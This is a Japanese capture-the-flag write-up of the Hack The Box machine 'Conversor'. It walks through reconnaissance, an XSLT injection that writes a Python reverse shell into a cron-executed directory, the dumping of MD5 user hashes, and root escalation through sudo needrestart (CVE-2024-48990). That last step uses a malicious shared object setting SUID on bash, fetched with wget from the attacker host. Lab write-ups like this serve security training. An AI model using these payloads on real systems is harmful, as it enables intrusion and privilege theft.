初めに
本記事は Hack The Box(以下リンク参照) の「Conversor」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
初期探索
ポートスキャン
┌──(kali㉿kali)-[~/Desktop]
└─$ rustscan -a 10.10.11.92 --top
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
I don't always scan ports, but when I do, I prefer RustScan.
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.11.92:22
Open 10.10.11.92:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-21 08:05 EST
Initiating Ping Scan at 08:05
Scanning 10.10.11.92 [4 ports]
Completed Ping Scan at 08:05, 0.22s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:05
Completed Parallel DNS resolution of 1 host. at 08:05, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 08:05
Scanning 10.10.11.92 [2 ports]
Discovered open port 80/tcp on 10.10.11.92
Discovered open port 22/tcp on 10.10.11.92
Completed SYN Stealth Scan at 08:05, 0.21s elapsed (2 total ports)
Nmap scan report for 10.10.11.92
Host is up, received reset ttl 63 (0.19s latency).
Scanned at 2025-11-21 08:05:53 EST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (128B)
いつもの感じですね。
Web探索
とりあえずWhatweb回すか
┌──(kali㉿kali)-[~/Desktop/WhatWeb]
└─$ ./whatweb -v http://conversor.htb
WhatWeb report for http://conversor.htb
Status : 302 Found
Title : Redirecting...
IP : 10.10.11.92
Country : RESERVED, ZZ
Summary : Apache[2.4.52], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], RedirectLocation[/login]
Detected Plugins:
[ Apache ]
The Apache HTTP Server Project is an effort to develop and
maintain an open-source HTTP server for modern operating
systems including UNIX and Windows NT. The goal of this
project is to provide a secure, efficient and extensible
server that provides HTTP services in sync with the current
HTTP standards.
Version : 2.4.52 (from HTTP Server Header)
Google Dorks: (3)
Website : http://httpd.apache.org/
[ HTML5 ]
HTML version 5, detected by the doctype declaration
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
OS : Ubuntu Linux
String : Apache/2.4.52 (Ubuntu) (from server string)
[ RedirectLocation ]
HTTP Server string location. used with http-status 301 and
302
String : /login (from location)
HTTP Headers:
HTTP/1.1 302 FOUND
Date: Fri, 21 Nov 2025 13:13:03 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 199
Location: /login
Connection: close
Content-Type: text/html; charset=utf-8
WhatWeb report for http://conversor.htb/login
Status : 200 OK
Title : Login
IP : 10.10.11.92
Country : RESERVED, ZZ
Summary : Apache[2.4.52], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], PasswordField[password]
Detected Plugins:
[ Apache ]
The Apache HTTP Server Project is an effort to develop and
maintain an open-source HTTP server for modern operating
systems including UNIX and Windows NT. The goal of this
project is to provide a secure, efficient and extensible
server that provides HTTP services in sync with the current
HTTP standards.
Version : 2.4.52 (from HTTP Server Header)
Google Dorks: (3)
Website : http://httpd.apache.org/
[ HTML5 ]
HTML version 5, detected by the doctype declaration
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
OS : Ubuntu Linux
String : Apache/2.4.52 (Ubuntu) (from server string)
[ PasswordField ]
find password fields
String : password (from field name)
HTTP Headers:
HTTP/1.1 200 OK
Date: Fri, 21 Nov 2025 13:13:06 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
うむ。気になるところはなし。
サブドメイン探索
┌──(kali㉿kali)-[~/Desktop]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u http://conversor.htb -H "Host: FUZZ.conversor.htb" -mc all -fc 301 -t 150
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://conversor.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.conversor.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: all
:: Filter : Response status: 301
________________________________________________
* [Status: 400, Size: 305, Words: 26, Lines: 11, Duration: 198ms]
:: Progress: [100000/100000] :: Job [1/1] :: 760 req/sec :: Duration: [0:02:48] :: Errors: 0 ::
何もなし。
ディレクトリ探索
┌──(kali㉿kali)-[~/Desktop]
└─$ dirsearch -u http://conversor.htb
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/Desktop/reports/http_conversor.htb/_25-11-21_08-11-52.txt
Target: http://conversor.htb/
[08:11:52] Starting:
[08:12:17] 200 - 3KB - /about
[08:13:14] 404 - 275B - /javascript/editors/fckeditor
[08:13:14] 301 - 319B - /javascript -> http://conversor.htb/javascript/
[08:13:14] 404 - 275B - /javascript/tiny_mce
[08:13:17] 200 - 722B - /login
[08:13:36] 200 - 726B - /register
[08:13:38] 403 - 278B - /server-status
[08:13:38] 403 - 278B - /server-status/
Task Completed
まぁ色々ある。
ソースコード解析
aboutの階層になんかソースコードぽいのがあったので取ってくる。


┌──(kali㉿kali)-[~/Desktop/source]
└─$ cat install.md
To deploy Conversor, we can extract the compressed file:
"""
tar -xvf source_code.tar.gz
"""
We install flask:
"""
pip3 install flask
"""
We can run the app.py file:
"""
python3 app.py
"""
You can also run it with Apache using the app.wsgi file.
If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.
"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""
script階層のPythonコードを定期的に回すみたいなこと書いてる。app.pyも見てみる。
from flask import Flask, render_template, request, redirect, url_for, session, send_from_directory
import os, sqlite3, hashlib, uuid
app = Flask(__name__)
app.secret_key = 'Changemeplease'
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
DB_PATH = '/var/www/conversor.htb/instance/users.db'
UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def init_db():
os.makedirs(os.path.join(BASE_DIR, 'instance'), exist_ok=True)
conn = sqlite3.connect(DB_PATH)
c = conn.cursor()
c.execute('''CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE,
password TEXT
)''')
c.execute('''CREATE TABLE IF NOT EXISTS files (
id TEXT PRIMARY KEY,
user_id INTEGER,
filename TEXT,
FOREIGN KEY(user_id) REFERENCES users(id)
)''')
conn.commit()
conn.close()
init_db()
def get_db():
conn = sqlite3.connect(DB_PATH)
conn.row_factory = sqlite3.Row
return conn
@app.route('/')
def index():
if 'user_id' not in session:
return redirect(url_for('login'))
conn = get_db()
cur = conn.cursor()
cur.execute("SELECT * FROM files WHERE user_id=?", (session['user_id'],))
files = cur.fetchall()
conn.close()
return render_template('index.html', files=files)
@app.route('/register', methods=['GET','POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = hashlib.md5(request.form['password'].encode()).hexdigest()
conn = get_db()
try:
conn.execute("INSERT INTO users (username,password) VALUES (?,?)", (username,password))
conn.commit()
conn.close()
return redirect(url_for('login'))
except sqlite3.IntegrityError:
conn.close()
return "Username already exists"
return render_template('register.html')
@app.route('/logout')
def logout():
session.clear()
return redirect(url_for('login'))
@app.route('/about')
def about():
return render_template('about.html')
@app.route('/login', methods=['GET','POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = hashlib.md5(request.form['password'].encode()).hexdigest()
conn = get_db()
cur = conn.cursor()
cur.execute("SELECT * FROM users WHERE username=? AND password=?", (username,password))
user = cur.fetchone()
conn.close()
if user:
session['user_id'] = user['id']
session['username'] = username
return redirect(url_for('index'))
else:
return "Invalid credentials"
return render_template('login.html')
@app.route('/convert', methods=['POST'])
def convert():
if 'user_id' not in session:
return redirect(url_for('login'))
xml_file = request.files['xml_file']
xslt_file = request.files['xslt_file']
from lxml import etree
xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
xml_file.save(xml_path)
xslt_file.save(xslt_path)
try:
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
result_html = str(result_tree)
file_id = str(uuid.uuid4())
filename = f"{file_id}.html"
html_path = os.path.join(UPLOAD_FOLDER, filename)
with open(html_path, "w") as f:
f.write(result_html)
conn = get_db()
conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
conn.commit()
conn.close()
return redirect(url_for('index'))
except Exception as e:
return f"Error: {e}"
@app.route('/view/<file_id>')
def view_file(file_id):
if 'user_id' not in session:
return redirect(url_for('login'))
conn = get_db()
cur = conn.cursor()
cur.execute("SELECT * FROM files WHERE id=? AND user_id=?", (file_id, session['user_id']))
file = cur.fetchone()
conn.close()
if file:
return send_from_directory(UPLOAD_FOLDER, file['filename'])
return "File not found"
気になるのは以下です。
try:
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
xslt_pathのパーサが脆弱そう。XMLはしっかりみてるのになんでや。
イニシャルアクセス
XSLT Injection
以下のInjectionを参考にFileWriteを実施し、先ほどの定期実行されそうな階層にPythonコードを作成する。XSLT何もわからんかったけど、TryHarderしてたら上手くいった。
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="/var/www/conversor.htb/scripts/task.py" method="text">
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.61",8444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")
</exploit:document>
</xsl:template>
</xsl:stylesheet>

上手くいったかいね?...
いや、ダメだった!インデントが入ってる!修正するやで。
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="/var/www/conversor.htb/scripts/task.py" method="text">
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.61",8444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")
</exploit:document>
</xsl:template>
</xsl:stylesheet>
www-data@conversor:~/conversor.htb$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
syslog:x:106:113::/home/syslog:/usr/sbin/nologin
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
tss:x:109:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:110:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:111:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
fismathack:x:1000:1000:fismathack:/home/fismathack:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
www-data@conversor:~/conversor.htb$
よしよし。
横展開
sqlite
さっきのソースコードにはsqliteを使っていたので、DBファイルを見に行く。
適当にKaliに転送して中身を見ます。
┌──(kali㉿kali)-[~/Desktop]
└─$ sqlite3 users.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> select * from users;
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|abc|202cb962ac59075b964b07152d234b70
6|jeremias|729df251ee41cf92d45ec11a87c60ec0
7|test|098f6bcd4621d373cade4e832627b4f6
sqlite>
passwdにもいたfismathackさんを確認する。

もろたで駆動。

これでユーザフラグゲットだぜ!
特権昇格
sudo -l
久しぶりにこのコマンドを打つなぁ、最近はWindows許さないマンだったので。
fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart
fismathack@conversor:~$
なんかあるわ。
使い方見とくか。
fismathack@conversor:~$ /usr/sbin/needrestart -h
Unknown option: h
Usage:
needrestart [-vn] [-c <cfg>] [-r <mode>] [-f <fe>] [-u <ui>] [-(b|p|o)] [-klw]
-v be more verbose
-q be quiet
-m <mode> set detail level
e (e)asy mode
a (a)dvanced mode
-n set default answer to 'no'
-c <cfg> config filename
-r <mode> set restart mode
l (l)ist only
i (i)nteractive restart
a (a)utomatically restart
-b enable batch mode
-p enable nagios plugin mode
-o enable OpenMetrics output mode, implies batch mode, cannot be used simultaneously with -p
-f <fe> override debconf frontend (DEBIAN_FRONTEND, debconf(7))
-t <seconds> tolerate interpreter process start times within this value
-u <ui> use preferred UI package (-u ? shows available packages)
By using the following options only the specified checks are performed:
-k check for obsolete kernel
-l check for obsolete libraries
-w check for obsolete CPU microcode
--help show this help
--version show version information
fismathack@conversor:~$
needrestart
このバイナリを調べてると以下の記事がヒットする。
結構昇格ルート一杯あるね。
とりあえず色々試す。簡単なのから。
CVE-2024-11003
perlを悪用します。以下を再現するだけ。
やっても上手く回らんかった。
CVE-2024-48990
次はPython。
lib.cの部分をKaliのローカルでコンパイルしておき、__init__.soをwgetするシェルスクリプトを用意してやれば良さそう。こんな感じかな。
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
if(geteuid() == 0) { // Only execute if we're running with root privileges
setuid(0);
setgid(0);
const char *shell = "chmod +s /bin/bash;";
system(shell);
}
}
コンパイルだ!
┌──(kali㉿kali)-[~/Desktop]
└─$ gcc -shared -fPIC -o __init__.so evil.c
shellはこんな感じで
#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib
wget -P /tmp/malicious/importlib http://10.10.15.61/__init__.so
# Minimal Python script to trigger import
cat << 'EOF' > /tmp/malicious/e.py
import time
while True:
try:
import importlib
except:
pass
if __import__("os").path.exists("/tmp/poc"):
print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
__import__("os").system("sudo /tmp/poc -p")
break
time.sleep(1)
EOF
cd /tmp/malicious; PYTHONPATH="$PWD" python3 e.py 2>/dev/null
さてレッツExploit!

needrestart回して権限付いたか確認する。

勝ち。これでbash -p打ってRoot権限奪取ですわ。
まとめ

これで特権昇格に成功し、Root権限奪取に成功しました。
久しぶりのLinuxで勘何も働かなかった。HTB難しいね。
今回もセキュリティエンジニアの皆さんの助けになればなと思います。

